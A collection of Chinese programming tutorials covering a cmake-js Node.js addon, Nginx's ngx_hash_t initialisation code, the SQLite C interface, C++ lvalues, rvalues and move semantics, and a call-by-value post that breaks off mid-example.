我们用到的工具有2个

1.cmake-js 代替node-gyp，使用起来很方便。
2.nodejs源码（需要一些头文件和库）



cmake-js是使用CMake作为工具，构建跨平台的Makefile，极大方便了Makefile配置的一个js工具。

我们做一个Hello World
效果如

module.exports.hello = function() { return 'world'; };

废话不多，直接上代码

// hello.cc
#include <node.h>

namespace demo {    //此处的命名空间应该和你的模块名一致

using v8::FunctionCallbackInfo;
using v8::HandleScope;
using v8::Isolate;
using v8::Local;
using v8::Object;
using v8::String;
using v8::Value;

void Method(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = args.GetIsolate();
  args.GetReturnValue().Set(String::NewFromUtf8(isolate, "world"));   //设置返回值
}

void init(Local<Object> exports) {
  NODE_SET_METHOD(exports, "hello", Method);    //注册函数
}

NODE_MODULE(demo, init)    //注册模块

}  // namespace demo

比起普通的js代码，的确要复杂很多呀~

然后我们写好CMakeList.txt

cmake_minimum_required(VERSION 3.3)     #设定cmake的版本 
project(hello)                          #设定项目名称

include_directories(${CMAKE_JS_INC})    #加载由cmake-js提供的环境变量


set(SOURCE_FILES "hello_world.cc")      #设置我们需要编译的文件列表

add_library(hello SHARED exports.cpp ${SOURCE_FILES})  #标明我们要编译成一个lib，使用定义好的文件

set_target_properties(hello PROPERTIES PREFIX "" SUFFIX ".node") #设定编译出来的文件名（默认是libxxx.so，这里改成xxx.node）

好，在这个文件夹下面执行cmake-js，然后只要编译链接通过，在你的Build/Release下面就会出现hello.node，

然后在你的js文件里进行测试

var hello = require("hello").hello;
console.log(hello());  //输出 world

哈，是不是很简单！
接下去的任务就是好好学习v8相关的API了，在C/C++环境下，要千万注意内存泄露的问题！

欢迎关注我Github 以及 @Gemini
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本篇的上篇为 Nginx 源码分析：ngx_hash_t（上）。

建议先读完上篇再来读下篇。




上篇回顾了hash表的基础概念，分析了Nginx中hash表的内存模型及逻辑模型，从而引出了其核型数据结构ngx_hash_elt_t和ngx_hash_t，并从设计的角度解释了如何初始化这两个结构体。


本篇主要分析，在Nginx源码中是如何初始化这两个结构体的。


主体思路



	分析Nginx中使用的哈希函数，围绕初始化时使用的ngx_hash_key_t结构体展开。

	分析Nginx如何估算所需内存大小，如何分配内存。



相信仔细看过上篇后，对这两个问题已经心里有底了。



ngx_hash_key_t结构体


上篇说过，Nginx中hash表是只读的，因此，可以提前对需要多大的内存进行预估。

在Nginx中，提前将索引值、对应hash值，及内容计算出来，放入一个ngx_hash_key_t结构体中。


typedef struct {
    ngx_str_t         key;        // 索引值
    ngx_uint_t        key_hash;   // 对应hash值
    void             *value;      // 内容
} ngx_hash_key_t;



那么，如何计算一个字符串key的哈希值呢？答案是哈希函数。
Nginx提供的哈希函数有两个：


#define ngx_hash(key, c)   ((ngx_uint_t) key * 31 + c)

ngx_uint_t
ngx_hash_key(u_char *data, size_t len)
{
    ngx_uint_t  i, key;

    key = 0;

    for (i = 0; i < len; i++) {
        key = ngx_hash(key, data[i]);
    }

    return key;
}

ngx_uint_t
ngx_hash_key_lc(u_char *data, size_t len)
{
    ngx_uint_t  i, key;

    key = 0;

    for (i = 0; i < len; i++) {
        key = ngx_hash(key, ngx_tolower(data[i]));
    }

    return key;
}



其中ngx_hash_key_lc是大小写无关，ngx_hash_key是大小写相关的。


一般情况下，我们会得到一个ngx_hash_key_t的数组。

例如HTTP请求的通用首部：


Host:
Connection:
User-Agent:
...



每一条首部对应一个ngx_hash_key_t。这样得到一个关于HTTP请求的首部哈希数组。


有了这些信息，就可以提前预估根据这个数组生成的哈希表究竟需要多大的内存。



ngx_hash_init_t结构体


关于Nginx的哈希表，上篇提到过两点：


1）Nginx的哈希表本身是向ngx_pool_t申请的一块连续的内存，因此初始化哈希表需要知道ngx_pool_t。

2）Nginx的哈希表解决哈希冲突采用了hash桶的办法，因此，在逻辑上，哈希表是一个二维数组。这个数组的大小受两个因素影响：桶的大小和桶的个数。


一般来讲，桶的个数越大，所需要桶的大小越小。


因此，这个在初始化时预先对内存进行估计的结构体ngx_hash_init_t是长成这个样子的：


typedef ngx_uint_t (*ngx_hash_key_pt) (u_char *data, size_t len);

typedef struct {
    ngx_hash_t       *hash;            // 用于管理哈希表的结构体
    ngx_hash_key_pt   key;             // 哈希函数

    ngx_uint_t        max_size;        // 哈希桶个数的最大值
    ngx_uint_t        bucket_size;     // 哈希桶的大小

    char             *name;            // 哈希表的名字
    ngx_pool_t       *pool;            // 使用的内存池
    ngx_pool_t       *temp_pool;       // 估算时临时使用的内存池
} ngx_hash_init_t;



其中*hash用于指向创建的哈希表管理结构体ngx_hash_t，当这个值为NULL时，在完成初始化时，回从内存池中获取一块内存。



	
max_size是限制生成的哈希表中桶的个数上限制。这个值越大，桶的大小越小，因此冲突项越少，查询速度更快，但是浪费的内存会增多。

	
bucket_size用来限制每个桶的大小上限值。



这两个参数是给哈希表生成时提供一个上限参考，并不是哈希表生成的最终大小。



Nginx哈希表的生成


铺垫了这么久，终于进入正题。-_-!!


Nginx的哈希表生成函数声明如下：


ngx_int_t 
ngx_hash_init(ngx_hash_init_t *hinit, ngx_hash_key_t *names,ngx_uint_t nelts);



其中，*hinit是初始化的限制条件，详见上一小节的说明；
*names是Nginx根据索引值，提前算出来的哈希值数组，详见上上一小节；
nelts是*names数组的大小。


总体来说：这个函数做了三件事情：



	根据输入的ngx_hash_key_t结构体数组及ngx_hash_init_t结构体，估算出hash表所需的hash桶的个数及每个hash桶的大小；

	根据算出的hash桶的个数及hash桶的大小，向内存池中申请空间；

	将ngx_hash_key_t数组的内容装入生成的hash表中。



因为ngx_hash_init的函数定义很长，为了更好的说明问题，我按照次序捡取主要内容一段一段拆开来分析。感兴趣的可以看Ngx_hash.c的源码完整版


校验bucket_size值


首先，对传入的hinit及names中的bucket_size大小进行校验。

条件是，hinit中的bucket_size >= sizeof(ngx_hash_elt_t)


#define ngx_align(d, a)     (((d) + (a - 1)) & ~(a - 1))

#define NGX_HASH_ELT_SIZE(name)                                               \
    (sizeof(void *) + ngx_align((name)->key.len + 2, sizeof(void *)))

for (n = 0; n < nelts; n++) {
        if (hinit->bucket_size < NGX_HASH_ELT_SIZE(&names[n]) + sizeof(void *))
        {
            ngx_log_error(NGX_LOG_EMERG, hinit->pool->log, 0,
                          "could not build the %s, you should "
                          "increase %s_bucket_size: %i",
                          hinit->name, hinit->name, hinit->bucket_size);
            return NGX_ERROR;
        }
    }



可以看到，NGX_HASH_ELT_SIZE的最小值为 sizeof(void*) + sizeof(void*)，因此bucket_size的最小值是两个指针的大小。


这里需要解释一下ngx_align(d,a)这个宏的作用：将d取a的向上整数倍。例如，b=5，a=4，那么ngx_align(5,4)的结果就是8。


在实现原理上，利用了二进制计算的技巧。这里稍微讲一下（已经懂的可以跳过）：


===========我是华丽的分割线===============

当a为2的某个幂的值时（例如a=2^2=4，或a=2^3=8），有以下特点：


a = 4:  二进制： 0000 0100       从右起，第三位为1，剩下全为0;
a = 8:  二进制： 0000 1000       从右起，第四位为1, 剩下全为0；
a = 16: 二进制:  0001 0000       从右起，第五位为1，剩下全为0；

a - 1 = 3:  二进制： 0000 0011   从右起，第三位之前，全是1；
a - 1 = 7:  二进制： 0000 0111   从右起，第四位之前，全是1；
a - 1 = 15: 二进制： 0000 1111   从右起，第五位之前，全是1；

~(a - 1) = ~3:  二进制： 1111 1100   从右起，第二位之后，全是1；
~(a - 1) = ~7:  二进制： 1111 1000   从右起，第三位之后，全是1；
~(a - 1) = ~15: 二进制： 1111 0000   从右起，第四位之后，全是1；




(理解的关键点)一个数，一定是这个数的二进制从右起第一个不为零的位所表示的数的整数倍

比如：


a = 12:  二进制： 0000 1100 
从右起，第一个不为零的位所表示的整数为 0000 0100 即 4
那么，a = 12 一定是 4 的整数倍



如果，我们需要任意的一个数a对4取整怎么办呢？很简单，只需要把a从右起的若干位置0就可以了。

比如：


a = 13: 二进制：0000 1101
向0000 0100 即 4 取整，只需要将 0000 1101从右起，前两位置0，即可得到，0000 1100 即12

这个置0的过程可以表达为0000 1101 &  1111 1100
而 1111 1100 = ~(4 - 1)，因此，13 对 4 取整的二进制运算即为：13 & ~(4 - 1)



可以看到，这样的二进制运算的结果是向下取整数倍。

但是，在申请内存时，只能比需求的大，而不能比需求的小，因此需要向上取整数倍：


对于一个任意的数d和一个2的任意次幂a：
d对a向下取整的二进制运算为：d & ~(a -1)
d对a向上取整的二进制运算为：(d + (a - 1)) & ~(a - 1)



相信到这里，已经可以很容易理解ngx_align这个宏的含义了


#define ngx_align(d, a)     (((d) + (a - 1)) & ~(a - 1))



===========我是华丽的分割线===============


估算hash桶的个数及hash桶的大小


准备工作


现在我们手头上有所有索引值及其对应的hash值所组成的ngx_hash_key_t数组，这个数组的大小表示将来形成的hash表中有效元素的数目。


那么，可知，hash桶数目 * 每个hash桶能放置元素的个数 > ngx_hash_key_t 数组大小


从上一小节的分析可知：bucket_size的最小值为2 * sizeof(void*)，那么，预设的ngx_hash_init_t中的bucket_size / 2 * sizeof(void*)就能得到每个桶所能放置的冲突项的个数最大值。


因此，ngx_hash_key_t的数组的大小值nelts / (bucket_size / 2 * sizeof(void*))就是预估的hash表所需hash桶数目的最小值。


因此，接下来Nginx有这么一段：


    bucket_size = hinit->bucket_size - sizeof(void *);
    // start 为预估hash桶数目的最小值，因为会随着计算不断向上增加，所以命名为start
    start = nelts / (bucket_size / (2 * sizeof(void *)));
    start = start ? start : 1;

    if (hinit->max_size > 10000 && nelts && hinit->max_size / nelts < 100) {
        start = hinit->max_size - 1000;
    }



这部分代码可以看作是在估算hash表中hash桶数目的最小值的合理值。


开始估算
ngx_hash_key_t数组中含有所有索引值及其对应的哈希值，为了将hash表的hash桶数目控制在一定数量内，需要对ngx_hash_key_t内的哈希值进行取模运算。


取模运算会将结果控制在一定整数范围内。

比如：key_hash % size，表示运算得到的结果一定在[0, size)区间内。


这样，对于上述代码得到的start，我们就可以从start开始到hinit->max_size结束，挨个尝试，看看每个start所算出的bucket_size是否符合要求（<= hinit->bucket_size）


代码如下：


// 从start 开始，到hints->max_size为止，挨个尝试
for (size = start; size <= hinit->max_size; size++) {

        ngx_memzero(test, size * sizeof(u_short));

        for (n = 0; n < nelts; n++) {
            if (names[n].key.data == NULL) {
                continue;
            }
            // 取模运算，将hash值控制在当前size范围内
            key = names[n].key_hash % size;
            // 累加计算每个hash值对应的冲突项占用的hash桶空间
            test[key] = (u_short) (test[key] + NGX_HASH_ELT_SIZE(&names[n]));
            // 当某个hash值所有冲突项占用的hash桶空间超过上限，
            // 表示当前hash桶个数设置太小，进入下一轮循环
            if (test[key] > (u_short) bucket_size) {
                goto next;
            }
        }
        // 找到合适的hash桶个数，接下来进入申请空间及初始化结构体阶段
        goto found;

    next:

        continue;
    }



当代码运行到goto found时，表示找到合适的hash桶数目，可以进入下一阶段：申请内存空间及初始化结构体了。


根据估算的hash表的大小参数，向内存池申请空间


根据上一篇文章对于ngx_hash_t内存的描述，可知需要申请的内存空间分成两部分：


1）用于管理hash表的ngx_hash_t结构体，及用于指向内存不同分组的ngx_hash_elt_t *数组。根据上一小节的估算，ngx_hash_elt_t *数组的大小为size。

2）用于存放hash表的连续内存块，其大小为所有hash桶占用空间的总和。


这部分的源代码如下：


    // 清空上次为了估算hash桶数目所存储在test中的数据
    for (i = 0; i < size; i++) {
        test[i] = sizeof(void *);
    }
    // 重新计算各个hash值所占用的内存空间
    for (n = 0; n < nelts; n++) {
        if (names[n].key.data == NULL) {
            continue;
        }

        key = names[n].key_hash % size;
        test[key] = (u_short) (test[key] + NGX_HASH_ELT_SIZE(&names[n]));
    }

    len = 0;
    // 将所有hash值占用的内存空间加和，得到总共需要的内存空间len
    for (i = 0; i < size; i++) {
        if (test[i] == sizeof(void *)) {
            continue;
        }

        test[i] = (u_short) (ngx_align(test[i], ngx_cacheline_size));

        len += test[i];
    }



对所有的ngx_hash_key_t重新计算了一遍，得到了存放所有数据需要的内存空间len


然后，就可以向ngx_pool_t内存池申请空间了。


if (hinit->hash == NULL) {
        // 在堆上创建hash管理结构体ngx_hash_t，及ngx_hash_elt_t*
        hinit->hash = ngx_pcalloc(hinit->pool, sizeof(ngx_hash_wildcard_t)
                                             + size * sizeof(ngx_hash_elt_t *));
        if (hinit->hash == NULL) {
            ngx_free(test);
            return NGX_ERROR;
        }
        // 将ngx_hash_t** 指针指向hash桶管理结构体
        buckets = (ngx_hash_elt_t **)
                      ((u_char *) hinit->hash + sizeof(ngx_hash_wildcard_t));

    } else {
        buckets = ngx_pcalloc(hinit->pool, size * sizeof(ngx_hash_elt_t *));
        if (buckets == NULL) {
            ngx_free(test);
            return NGX_ERROR;
        }
    }
    // 向内存池申请hash表所使用的内存空间
    elts = ngx_palloc(hinit->pool, len + ngx_cacheline_size);
    if (elts == NULL) {
        ngx_free(test);
        return NGX_ERROR;
    }

    elts = ngx_align_ptr(elts, ngx_cacheline_size);



这段代码的逻辑分成两部分：


1）向内存池申请管理hash表的结构体所使用的内存空间，包括ngx_hash_t结构体及ngx_hash_elt_t*指针数组。

2）向内存池申请hash表所使用的内存空间，直接使用之前计算的len申请。当然，Nginx的源码中为了效率，进行了对齐操作。


正确初始化管理结构体的内容


OK， 有了管理结构体，有了hash表，最后的任务就是将管理结构体的各个指针指向正确的地址，各个变量赋于正确的值即可。


    // 将ngx_hash_key_t* 数组指向各个内存段
    for (i = 0; i < size; i++) {
        if (test[i] == sizeof(void *)) {
            continue;
        }

        buckets[i] = (ngx_hash_elt_t *) elts;
        elts += test[i];

    }

    for (i = 0; i < size; i++) {
        test[i] = 0;
    }

    // 向hash表中填入正确的内容
    for (n = 0; n < nelts; n++) {
        if (names[n].key.data == NULL) {
            continue;
        }

        key = names[n].key_hash % size;
        elt = (ngx_hash_elt_t *) ((u_char *) buckets[key] + test[key]);

        elt->value = names[n].value;
        elt->len = (u_short) names[n].key.len;

        ngx_strlow(elt->name, names[n].key.data, names[n].key.len);

        test[key] = (u_short) (test[key] + NGX_HASH_ELT_SIZE(&names[n]));
    }

    for (i = 0; i < size; i++) {
        if (buckets[i] == NULL) {
            continue;
        }

        elt = (ngx_hash_elt_t *) ((u_char *) buckets[i] + test[i]);

        elt->value = NULL;
    }

    ngx_free(test);

    // hash表管理结构体赋于正确的内容
    hinit->hash->buckets = buckets;
    hinit->hash->size = size;



这样，就完成了初始化hash表的整个工作。


总结


个人经验：理解ngx_hash_t的关键点如下：


1）Nginx的哈希表是只读的，所以采用了预先估算hash表所需占用内存的大小的办法。源码中大多数的代码是跟预估hash表大小相关的。

2）Nginx的哈希表的内存空间采用内存池管理，因此理解其内存模型是理解代码逻辑的关键。内存模型请查看上一篇文章。

3）Nginx的哈希表的核心是hash表的管理结构体ngx_hash_t、ngx_hash_elt_t*数组、及hash表内存空间分配。


个人觉得，Nginx的高效并不是来自于Nginx有什么屠龙大法，而是来自于针对性很强的优化，ngx_hash_t就是一个很好的例子。

在ngx_hash_t中，随处可见各种优化，不论是这种特殊的hash表结构设计，还是内存分配上的各种对齐，都很值得学习。
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摘要


接下来的两个对象和八个方法包含了SQLite接口的基本要素:



	
sqlite3        数据库连接对象. 由sqlite3_open()创建，由sqlite3_close()销毁。

	
sqlite3_stmt            预编译语句对象. 由sqlite3_prepare()创建，由sqlite3_finalize()销毁。

	
sqlite3_open()          打开已存在或者新建数据库的连接。sqlite3的构造函数。

	
sqlite3_prepare()       将SQL文本编译成字节码，以便于执行查询或者更新数据库的操作 sqlite3_stmt的构造函数。

	
sqlite3_bind()          将应用程序的数据与原始SQL中的参数绑定

	
sqlite3_step()         执行sqlite3_stmt到下一个结果或者结束

	
sqlite3_column()           当前结果行所在的列值

	
sqlite3_finalize()           sqlite3_stmt的析构函数。

	
sqlite3_close()                sqlite3的析构函数。

	
sqlite3_exec()         一个包装函数，为一条或多条SQL语句包装了sqlite3_prepare(), sqlite3_step(), sqlite3_column(), 和sqlite3_finalize()。



简介


早期的SQLite只支持五个C/C++接口,所以非常容易学习。但是随着SQLite的不断壮大，新的C/C++接口不断加入，目前已有超过200个不同的接口。这能轻易压倒一个新手程序员。幸运的是，大部分SQLite的C/C++接口非常专业并且你不需要去关心。尽管有如此多的切入点，SQLite的核心API依然比较简单易于学习，易于编程。这篇文章旨在提供所有必需的背景信息以便于让你理解SQLite是如何工作的。


这份单独的文档，SQLite C/C++接口，提供了所有SQLite C/C++ 接口的详细说明。当读者理解了SQLite操作的基本原则，这份文档可以作为参考指南使用。本文章目的仅仅是介绍，而不是SQLite API 的完整或者权威的指南。


核心对象和接口


SQL数据库引擎的主要任务是执行SQL语句。为了实现这个目的，开发者需要知道这两个对象：



	
数据库连接对象：sqlite3

	
预编译语句对象：sqlite3_stmt



严格得讲，有了便捷的包装接口预编译语句对象，sqlite3_exec 或者 sqlite3_get_table之后，预编译语句对象不再是必须的。因为可以使用这些便捷的包装器封装和隐藏预编译语句对象。但是要充分利用SQLite需要理解预编译语句对象。


数据库连接和预编译语句对象是由以下列出的一部分接口控制：



	sqlite3_open()

	sqlite3_prepare()

	sqlite3_step()

	sqlite3_column()

	sqlite3_finalize()

	sqlite3_close()



这六个C/C++接口程序和上述的两个对象来自于SQLite基础功能的核心。理解了它们，开发者将能更好得使用SQLite。


请注意上述的程序是概念性的而不是实际上的。这些程序大都存在多个版本。比如上面列表只显示了单个名为 sqlite3_open()的程序，但实际上有三个独立的程序以不同的方式完成同样的事情： sqlite3_open(), sqlite3_open16() 和 sqlite3_open_v2()。另外列表里还提及了 sqlite3_column(),但实际上并没有这样的程序存在。列表中显示的"sqlite3_column()"代表的是这个程序整个家族，它们被用于提取不同类型的列数据。


这里总结一下核心接口会做什么：



	sqlite3_open() 用来打开一个数据库文件的连接并返回数据库连接对象。这通常是应用调用的第一个SQLite API，低于大多数其他的SQLite API这是先决条件。许多SQLite接口需要一个指向数据库连接的指针作为第一个参数，也可以认为是数据库连接对象的方法。sqlite3_open()是数据库连接对象的构造方法。


	sqlite3_prepare()  将SQ文本转换为预编译语句对象并返回该对象的指针。这个接口需要一个由sqlite3_open()创建的指向数据库连接的指针和一段包含SQL语句的文本。这个API并非真正得执行SQL语句，仅仅准备需要执的SQL语句。

把每条SQL语句想象成一个小的计算机程序。sqlite3_prepare()的目的是将程序编译成目标代码。预编译语句是目标代码。接着sqlite3_step()接口运行目标代码并得到结果。




请注意对于新的应用不建议使用sqlite3_prepare()，而应使用架构更新的程序sqlite3_prepare_v2()代替。



	sqlite3_step() 用来执行之前由sqlite3_prepare()接口创建的预编译语句。这语句执行到第一行可用的位置。若要执行结果的第二行，需要再次调用sqlite3_step()。继续调用 sqlite3_step()直到语句结束。对于那些不返回结果的语句（比如： INSERT, UPDATE, 或者DELETE），只需调用一次sqlite3_step()。


	
sqlite3_column()   从sqlite3_step()执行的准备语句得到的结果集的当前行中返回一个列。每次sqlite3_step()得到一个结果集的列后，这个过程就可以被多次调用去查询这个行的各列的值。正如上面提到的那样，在SQLite API中并没有这个一个"sqlite3_column()"函数。取而代之的是整个 "sqlite3_column()"家族，用于返回不同数据类型的结果。在这个家族里也有函数用来返回结果的大小（如果类型是string或者BLOB）和结果集列的数量。


     - sqlite3_column_blob()
     - sqlite3_column_bytes()
     - sqlite3_column_bytes16()
     - sqlite3_column_count()
     - sqlite3_column_double()
     - sqlite3_column_int()
     - sqlite3_column_int64()
     - sqlite3_column_text()
     - sqlite3_column_text16()
     - sqlite3_column_type()
     - sqlite3_column_value()




	sqlite3_finalize() 销毁由sqlite3_prepare()创建的预编译语句。为了防止内存泄露，每条预编译语句必须调用这个方法进行销毁。


	
sqlite3_close()    关闭由sqlite3_open()创建的数据库连接。在关闭连接之前，所有的预编译语句都应该被finalize。



核心程序和接口的典型用法


应用若要使用SQLite通常的做法是在初始化的时候通过sqlite3_open()创建单个数据库连接。注意sqlite3_open()可以用来打开存在的数据库文件也能创建新的数据库文件。尽管很多的应用仅仅使用单个数据库连接时，但也没有任何理由不能多次调用 sqlite3_open()创建多个数据库连接，同一个数据库或者不同的数据库。多线程的应有时会为每个线程创建不同的数据库连接。还要注意，没有必要为了访问两个或者多个数据库而创建不同的数据库连接。单个数据库连接可以使用 ATTACH SQL命令同时访问两个或者多个数据库。


大多数应用的做法是在关闭时调用sqlite3_close()销毁数据库连接。或者例如一个应用使用SQLite作为文件格式，在文件/打开菜单操作时打开数据库连接，在文件/关闭菜单时销毁相应的数据库连接。


若要运行SQL语句，请遵循以下步骤：



	使用 sqlite3_prepare().创建预编译语句对象。

	调用sqlite3_step()一次或者多次执行预编译语句对象

	对于查询来说，调用sqlite3_column()提取执行sqlite3_step()得到的结果集

	使用 sqlite3_finalize()来销毁预编译语句



为了更加有效得使用SQLite，以上是需要了解的。剩下的就只有细枝末节。


方便的包装器


sqlite3_exec()接口是一个方便的包装器，调用一个方法便可执行上面的四个步骤。传递到sqlite3_exec()中的回调函数将用于处理每行结果集。 sqlite3_get_table()是另一个方便的包装器，同样可以用上述的四个步骤。与 sqlite3_exec()不同的是，sqlite3_get_table()将结果存储在堆存储器里而非调用回调函数。


无论是 sqlite3_exec()还是 sqlite3_get_table()做的任何事情都可以由核心程序来完成，认识到这一点很重要。事实上，这些包装器仅仅实现了核心程序。


绑定参数与重用预编译语句


在之前的讨论中，假设了每条SQL语句只准备，执行了一次然后销毁。但是SQLite允许相同的预编译语句执行多次。这由以下的程序完成：



	sqlite3_reset()

	sqlite3_bind()



在预编译语句被一次或多次调用 sqlite3_step()执行之后，它可以通过调用 sqlite3_reset()重置以便于再次执行。对已存在的预编译语句对象使用 sqlite3_reset()而不是创建一个新的预编译语句，避免不必要得调用 sqlite3_prepare()。对于很多SQL语句来说，执行sqlite3_prepare()的时间等于或者超过执行sqlite3_step()的时间。所以避免调用sqlite3_prepare(）可以显著提升性能。


通常情况下，尽管多次执行相同的SQL语句并非有用。更多时候，执行的是相似的语句。比如你可能想要多次执行一条插入语句，但插入的值不同。为了使用这类的灵活性，SQLite允许将要执行的SQL语句包含之前绑定的参数。这些值可以在后面更改，这样相同的预编译语句可以使用新的值执行第二次。


在SQLite中，无论是否有效得包含字符串，都可以选取以下的形式作为参数：



	?

	?NNN

	:AAA

	$AAA

	@AAA



在上面的例子中，NNN是整数值，AAA是标识符。参数初始化值为NULL。首先先调用sqlite3_step()或者在sqlite3_reset()立即调用。应用可以调用其中一个sqlite3_bind()接口附加到参数上。每次调用 sqlite3_bind()将覆盖先前的参数绑定。


应用程序可以提前准备多条SQL语句，并根据需要对其执行。对于准备的语句在数量上没有任何限制。


配置SQLite


对于大多数应用来说SQLite的默认配置已经足够了。但是有时开发者想要调整设，以尽量提升一点性能，或者使用一些不起眼的特性。


sqlite3_config()接口用于创建SQLite全局的，进程级的配置更改。在任何数据库连接被创建前，sqlite3_config()接口必须被调用。 sqlite3_config()接口允许程序员做这样的事情:



	调整SQLite内存分配，包括为实时嵌入系统设置内存分配器和设置应用定义的内存分配器。

	设置进程级的错误日志


	指定应用定义的页面缓存

	调整互斥体使之适合于不同的线程模型，或者替换应用定义的互斥系统

进程级的配置完成之后数据库连接便会建立。个别的数据库连接可以调用 sqlite3_limit()和 sqlite3_db_config()进行配置。



扩展SQLite


SQLite还包括了用来扩展功能的接口，这些程序包括：



	sqlite3_create_collation()

	sqlite3_create_function()

	sqlite3_create_module()

	sqlite3_vfs_register()



sqlite3_create_collation()接口用来为排序文本创建新的排序序列。sqlite3_create_module() 接口用来注册新的虚拟表实现。sqlite3_vfs_register()接口创建新的VFSes。


sqlite3_create_function()接口创建新的SQL功能 - 无论是标量还是聚合。新功能的实现通常使用了以下几个附加接口:



	sqlite3_aggregate_context()

	sqlite3_result()

	sqlite3_user_data()

	sqlite3_value()



SQLite所有内置的SQL函数正式使用这些接口来创建的。参考SQLite源码，特别是date.c和func.c源文件的例子。


共享的库或 Dll 可以用作 SQLite 的可加载扩展。


其他接口


这篇文章仅仅提及了SQLite接口的基础功能。SQLite库还包含了很多其他有用的特性但是这里没有描述。你能在C/C++接口规范中找到SQLite完整的功能列表。请参阅关于SQLite所有接口的权威文档。


 快速了解C/C++的左值和右值

作者：jk_v1

来源： 快速了解C/C++的左值和右值



                    
最近在segmentfault上看到一个提问《c++隐式的类类型转换问题》：一时不知怎么回答，查阅相关资料后整理了本文，以供参考学习。

定义

早期的C给出的定义：左值是一个表达式，可能出现在赋值操作的左边或右边，但右值只能出现在右边。比如：

a * b = 42; // 编译错误， 说明 a * b 不是左值

因为上面的定义实在太模糊，导致左值和右值很难被理解，下面给出的定义，更简单更好理解：
左值（lvalue）是一个表达式，它表示一个可被标识的（变量或对象的）内存位置，并且允许使用&操作符来获取这块内存的地址。如果一个表达式不是左值，那它就被定义为右值。

  int i = 42;
  i = 43; 
  int* p = &i; // ok, i 是左值
  int& foo();
  foo() = 42; // ok, foo() 是左值
  int* p1 = &foo(); // ok, foo() 是左值

  int foobar();
  int j = 0;
  j = foobar(); // ok, foobar() 是右值
  int* p2 = &foobar(); // 错误，不能获取右值的地址
  j = 42; // ok, 42 是右值

左值和右值之间的转换

一般上讲，对象之间的运算，对象是以右值的形式参与的。比如二元运算符+两边的参数以右值传入，加后的返回结果也是右值：

int a = 1;     // a 是左值
int b = 2;     // b 是左值
int c = a + b; // a和b自动转换为右值求和

那些表示数组、函数和非完整类型的左值是不能转换为右值的，因为无法对那些类型进行求值。incomplete types指的是类型定义不完整，只能用指针形式声明的类型，在头文件中经常会使用。

左值引用

C++中可以使用&符定义引用，如果一个左值同时是引用，就称为“左值引用”，如：

std::string s;
std::string& sref = s;  //sref为左值引用

非const左值引用不能使用右值对其赋值

std::string& r = std::string();  //错误！std::string（）产生一个临时对象，为右值

假设可以的话，就会遇到一个问题：如何修改右值的值？因为引用是可以后续被赋值的。根据上面的定义，右值连可被获取的内存地址都没有，也就谈不上对其进行赋值。

但const左值引用不一样，因为常量不能被修改，也就不存在上面的问题：

const std::string& r = std::string();  //可以

我们经常使用const左值引用作为函数的参数类型，可以减少不必要的对象复制：

class MyString {
public:
    ...
    MyString &MyString(string& s);  //参数类型为左值引用
    ...
};

int main() 
{
    MyString s1("XXX");  //错误
    MyString s2(string("XXXX")); //同上，右值不能赋值给左值引用
}


把MyString& MyString(string& a);改成MyString& MyString(const string& a);就不会有上面的编译错误。

带CV限定符（CV-qualified）的右值

C++标准中关于左值转右值的讨论，有这样一段话：

类型为T的左值（非函数、非数组类型）可以被转换为右值。如果T不是类（class）类型，转换后的右值的类型将为不带CV限定符的T类型，否则转换后的右值的类型为T。



什么是CV限定符？如果变量声明时类型前带有const或volatile，就说此变量类型具有CV限定符。

在C中，右值永远没有CV限定符，而C++中的类类型的右值可以有CV限定符，看下面代码：

#include <iostream>

class A {
public:
    void foo() const { std::cout << "A::foo() const\n"; }
    void foo() { std::cout << "A::foo()\n"; }
};

A bar() { return A(); }           //返回临时对象，为右值
const A cbar() { return A(); }    //返回带const的右值（带CV限定符）


int main()
{
    bar().foo();  // 非const对象调用A::foo()的非const版本
    cbar().foo(); // const对象调用A::foo()的const版本
}

也就是说，如果是类类型，从左值转为右值时，它的CV限定符会被保留。这里就不给出示例代码了。

右值引用（C++11）

右值引用及其相关的move语义是C++11新引入的最强大的特性之一。前文说到，左值（非const）可以被修改（赋值），但右值不能。但C++11引入的右值引用特性，打破了这个限制，允许我们获取右值的引用，并修改之。让我们先看点代码：
定义一个类Intvec及其赋值操作符重载函数如下：

class Intvec
{
public:
    ...
    Intvec& operator=(const Intvec& other)
    {
        log("copy assignment operator");
        Intvec tmp(other);  //构造一个临时对象，因为other为const，不能被修改
        std::swap(m_size, tmp.m_size);
        std::swap(m_data, tmp.m_data);  
        //跟临时对象交换值，临时对象晰构时会delete [] m_data
        return *this;
    }
private:
    size_t m_size;  
    int* m_data;     //存放int数组，构造时动态分配
};  

代码要点：


	代码使用了copy-swap策略，即先分配资源再更改自身状态，这样可以保证当资源分配失败的时候，自身能够维持原先状态，《高效C++》有条规则描述这个主题。所以先根据other拷贝构造一个临时对象tmp， 然后与tmp进行swap，m_data交换给了tmp之后，也会随着tmp的晰构而被释放。


	之所以把other声明为const，有两个理由，其一是赋值操作不应该更改other，其二是可以传入一个右值。其实这样的声明随处可见。




假设现有类型为Intvec的对象v，用一个新对象给它赋值：

v = Intvec(33); 

这句代码合法，它构造一个临时对象，为右值，传入到Intvec的赋值运算符重载函数中。这个代码是可以工作，而且通常情况下都比较高效。但是如果Intvec里包含某些m_handle成员，创建和释放m_handle比较昂贵，那么拷贝构造越少越好。这种情况，我们设想一下，如果v能跟Intvec(33)临时对象直接进行内部数据交换，而不需要在重载函数里使用Intvec tmp(other);构造一个新对象出来swap，那该有多好！
如你所料，C++11引入的“右值引用”和“move语义”就可以实现这个目标，新的语法很简单，我们重载一个新的赋值操作运算符函数：

Intvec& operator=(Intvec&& other)
{
    log("move assignment operator");
    std::swap(m_size, other.m_size);
    std::swap(m_data, other.m_data);
    return *this;
}

对于v = Intvec(33);这种写法就会调用此版本的重载函数（即传入一个右值）。
&&语法声明右值引用，表示一个指向右值的引用，通过这个引用，可以修改右值。

以上就是关于右值引用的一个简单的示例，实际上右值引用是一个复杂的主题，在实际应用中还有很多场景要考虑，更深入的讲解见底部参考链接。

参考链接：


	《Understanding lvalues and rvalues in C and C++》


	《C++右值引用详解》





 -正确理解C/C++中的传值调用/传址调用/引用调用

作者：xumenger

来源： -正确理解C/C++中的传值调用/传址调用/引用调用



                    
首先说明，函数的传值调用和传址调用在C和C++中都是合法的语法，但是引用调用就只是在C++中合法的。

传值调用

首先给一个广为人知的例子

#include<stdio.h>
void swap(int x, int y)
{
    int tmp = x;
    x = y;
    y = tmp;
}
int main(void)
{
    int a = 1, b = 2;
    printf("a=%d, b=%d\n", a, b);
    swap(a, b);
    printf("a=%d, b=%d\n", a, b);
    return 0;
}


输出结果是
